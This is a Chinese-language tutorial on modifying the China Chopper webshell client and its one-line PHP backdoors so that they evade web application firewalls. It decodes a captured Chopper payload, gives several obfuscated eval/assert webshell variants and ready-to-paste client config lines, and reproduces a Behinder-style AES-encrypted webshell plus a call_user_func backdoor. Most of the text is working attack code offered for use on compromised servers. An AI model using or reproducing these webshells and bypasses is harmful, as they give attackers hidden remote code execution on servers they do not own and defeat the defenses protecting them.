0x01 簡單分析
web滲透中很常見的情況,用菜刀連接免殺的一句話木馬連不上,有waf


除了變形一句話木馬為免殺一句話,我們還需要來制作過waf的菜刀進行連接、
這里用的一句話為
來看看菜刀連接一句話的時候的包

x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd
W50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTsk
Uj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW
9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3Vu
YW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
把其中url編碼轉換后就很直觀了:
x=@eval(base64_decode($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ
1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKC
JBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2d
ldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
這里可以看到z0就是執行的操作代碼了,base64解密一下z0參數的值
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
我們可以簡單對這里傳遞的參數、形式進行變化
1.去掉base64加密 把函數的z0參數用get方式傳遞

2.可以通過get傳遞一個 Base64_decode

這里把base64_decode通過get方式傳到post中,但是還是被殺
通過測試發現 還需要改
$_GET[bypass]($_POST([z0]) 中的$_POST
換成
x=@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=cGhwaW5mbygpOw

很多鍾方式都可以變化。。
0x02 制作過waf菜刀
如何換成菜刀可以用的呢 打開 caidao2016 這個菜刀配置文件在外面 不用在逆向改很方便

<PHP_BASE> array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");")); </PHP_BASE>
@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=%s 中間替換成這幾句就可以過狗了 get需要
11.php?bypass=Base64_decode 這樣連接 如果嫌麻煩可以換成POST
<PHP_BASE> @eval($_POST[bypass](${'_P'.'OST'}[z0]));&z0=%s&bypass=Base64_decode </PHP_BASE>
2. 可以把eval換成assert
<PHP_BASE> @assert(base64_decode($_POST[v]));&v=%s </PHP_BASE>
3.我們可以把base64_decode這個關鍵詞base64編碼 一句話來解碼 這種方法也是比較推薦的能達到0關鍵詞
<PHP_BASE> ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s </PHP_BASE>
總體來說方法很多 改菜刀端其實和改一句話一樣 甚至
<PHP_BASE>eval(base64_decode('%s'));</PHP_BASE>
也是可以的 這里最推薦 把關鍵詞都加密
0x03 仿冰蠍思路菜刀
他的原理是
1.首先客戶端以Get形式發起帶密碼的握手請求,服務端產生隨機密鑰並寫入Session。
2.客戶端將源代碼,如assert|eval("phpinfo();”)利用AES加密,發送至服務端,服務端收到之后先進行AES解密,得到中間結果字符串assert|eval("phpinfo();")。
3.服務端利用explode函數將拆分為一個字符串數據,索引為0的元素為字符串assert,索引為1的元素為字符串eval("phpinfo();")。
4.以可變函數方式調用索引為0的數組元素,參數為索引為1的數組元素,即為assert("eval(\"phpinfo;\")")
但是菜刀不支持我們這樣改 但是可也把他的思路引進到菜刀里面 首先我們看他的一句話
<?phpsession_start();if (isset($_GET['pass'])){ $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key;}else{ $key=$_SESSION['k']; $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key); $arr=explode('|',$decrptContent); $func=$arr[0]; $params=$arr[1]; $func($params);}?>
我們可以把eval 放到post里面 從而讓一句話沒有關鍵詞 簡單的寫一個
<?php $decrpt = $_POST['x']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); call_user_func($arrs[0],$arrs[1]); ?>
這里學了php的同學很容易看懂 把接受的內容 通過explode函數分割 然后base64解密 調用call_user_func回調函數來執行
菜刀端
|YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s
其中base64解密內容為 assert|eval(base64_decode($_POST[id]));
新型的菜刀應該先冰蠍靠近,盡量讓關鍵詞在傳輸過程中,php本身也有很多其他加密不需要擴展的
所以繞起來很方便的。新型菜刀應該要向高度自定義靠近,免殺就更加簡單
